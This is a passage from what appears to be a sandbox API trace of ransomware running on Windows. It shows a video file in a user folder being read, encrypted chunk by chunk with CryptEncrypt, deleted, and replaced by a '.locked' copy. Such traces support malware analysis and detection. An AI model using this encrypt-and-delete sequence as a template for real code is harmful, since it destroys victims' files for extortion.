ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2f, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.005] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2f, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.005] ReadFile (in: hFile=0x764, lpBuffer=0x6bd0f00, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6bd0f00*, lpNumberOfBytesRead=0x99ae7a8*=0x14000, lpOverlapped=0x0) returned 1 [0138.006] CryptEncrypt (in: hKey=0x8e84e38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6be4f0c*, pdwDataLen=0x99ae79c*=0x14000, dwBufLen=0x14000 | out: pbData=0x6be4f0c*, pdwDataLen=0x99ae79c*=0x14000) returned 1 [0138.006] WriteFile (in: hFile=0x778, lpBuffer=0x6bcc7a8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6bcc7a8*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0138.007] WriteFile (in: hFile=0x778, lpBuffer=0x6be5ef8*, nNumberOfBytesToWrite=0x13014, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6be5ef8*, lpNumberOfBytesWritten=0x99ae780*=0x13014, lpOverlapped=0x0) returned 1 [0138.008] ReadFile (in: hFile=0x764, lpBuffer=0x6bd0f00, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6bd0f00*, lpNumberOfBytesRead=0x99ae7a8*=0x20fa, lpOverlapped=0x0) returned 1 [0138.008] CryptEncrypt (in: hKey=0x8e84e38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6bf8f30*, pdwDataLen=0x99ae79c*=0x20f0, dwBufLen=0x20f0 | out: pbData=0x6bf8f30*, pdwDataLen=0x99ae79c*=0x20f0) returned 1 [0138.008] WriteFile (in: hFile=0x778, lpBuffer=0x6bf8f30*, nNumberOfBytesToWrite=0x20f0, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6bf8f30*, lpNumberOfBytesWritten=0x99ae780*=0x20f0, lpOverlapped=0x0) returned 1 [0138.008] ReadFile (in: hFile=0x764, lpBuffer=0x6bd0f00, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6bd0f00*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0138.008] CryptEncrypt (in: hKey=0x8e84e38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6bfb044*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x6bfb044*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0138.008] CryptEncrypt (in: hKey=0x8e84e38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6bfb078*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x6bfb078*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0138.008] WriteFile (in: hFile=0x778, lpBuffer=0x6bcc7a8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x6bcc7a8*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0138.008] CloseHandle (hObject=0x778) returned 1 [0138.011] CloseHandle (hObject=0x764) returned 1 [0138.011] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.011] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x30, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.011] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2f, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.011] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x30, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x30, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.014] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0138.014] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0138.014] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0138.014] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0138.014] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos" (normalized: "c:\\users\\ciihmnxmn6ps\\videos")) returned 0x11 [0138.015] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv")) returned 0x10 [0138.015] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by")) returned 0x10 [0138.016] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0138.016] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0138.016] CoTaskMemAlloc (cb=0x404) returned 0x8eb8d30 [0138.016] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8d30, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0138.016] CoTaskMemFree (pv=0x8eb8d30) [0138.017] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\tQvzXdA-wIPGe25N-.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\hcep6\\tqvzxda-wipge25n-.mp4")) returned 0x20 [0138.017] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\tQvzXdA-wIPGe25N-.mp4", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\tQvzXdA-wIPGe25N-.mp4", lpFilePart=0x0) returned 0x68 [0138.017] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\tQvzXdA-wIPGe25N-.mp4", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\tQvzXdA-wIPGe25N-.mp4", lpFilePart=0x0) returned 0x68 [0138.018] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0138.018] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\tQvzXdA-wIPGe25N-.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\hcep6\\tqvzxda-wipge25n-.mp4"), fInfoLevelId=0x0, lpFileInformation=0x6c1b9a4 | out: lpFileInformation=0x6c1b9a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3094a90, ftCreationTime.dwHighDateTime=0x1d4a02a, ftLastAccessTime.dwLowDateTime=0x6a550dc0, ftLastAccessTime.dwHighDateTime=0x1d4a2e0, ftLastWriteTime.dwLowDateTime=0x6a550dc0, ftLastWriteTime.dwHighDateTime=0x1d4a2e0, nFileSizeHigh=0x0, nFileSizeLow=0x160fa)) returned 1 [0138.018] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0138.018] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\tQvzXdA-wIPGe25N-.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\hcep6\\tqvzxda-wipge25n-.mp4")) returned 1 [0138.020] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x30, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.020] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.020] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x31, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.020] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x30, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.020] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x31, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x31, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.021] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\tQvzXdA-wIPGe25N-.mp4.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\hcep6\\tqvzxda-wipge25n-.mp4.locked")) returned 0x20 [0138.022] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\tQvzXdA-wIPGe25N-.mp4.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\hcep6\\tqvzxda-wipge25n-.mp4.locked")) returned 0x20 [0138.022] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\tQvzXdA-wIPGe25N-.mp4.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\tQvzXdA-wIPGe25N-.mp4.locked", lpFilePart=0x0) returned 0x6f [0138.022] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\tQvzXdA-wIPGe25N-.mp4.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\tQvzXdA-wIPGe25N-.mp4.locked", lpFilePart=0x0) returned 0x6f [0138.022] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x31, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.022] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\tQvzXdA-wIPGe25N-.mp4", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\tQvzXdA-wIPGe25N-.mp4", lpFilePart=0x0) returned 0x68 [0138.022] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.022] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x32, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.022] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x31, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.022] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x32, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x32, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.024] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x32, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.024] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.024] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x33, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.024] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x32, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.024] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x33, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x33, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.025] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x33, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.026] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.026] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x34, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.026] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x33, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.026] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x34, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x34, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.027] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x34, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.027] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.028] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x35, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.028] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x34, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.028] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x35, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x35, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.031] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x35, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.031] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.031] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x36, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.031] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x35, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.031] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x36, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x36, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.042] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0138.042] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\tQvzXdA-wIPGe25N-.mp4.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\hcep6\\tqvzxda-wipge25n-.mp4.locked"), fInfoLevelId=0x0, lpFileInformation=0x693e404 | out: lpFileInformation=0x693e404*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x157cee22, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x157cee22, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x157cee22, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x16114)) returned 1 [0138.042] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0138.042] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\tQvzXdA-wIPGe25N-.mp4.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\tQvzXdA-wIPGe25N-.mp4.locked", lpFilePart=0x0) returned 0x6f [0138.042] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\tQvzXdA-wIPGe25N-.mp4.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\hcep6\\tqvzxda-wipge25n-.mp4.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x764 [0138.042] GetFileInformationByHandle (in: hFile=0x764, 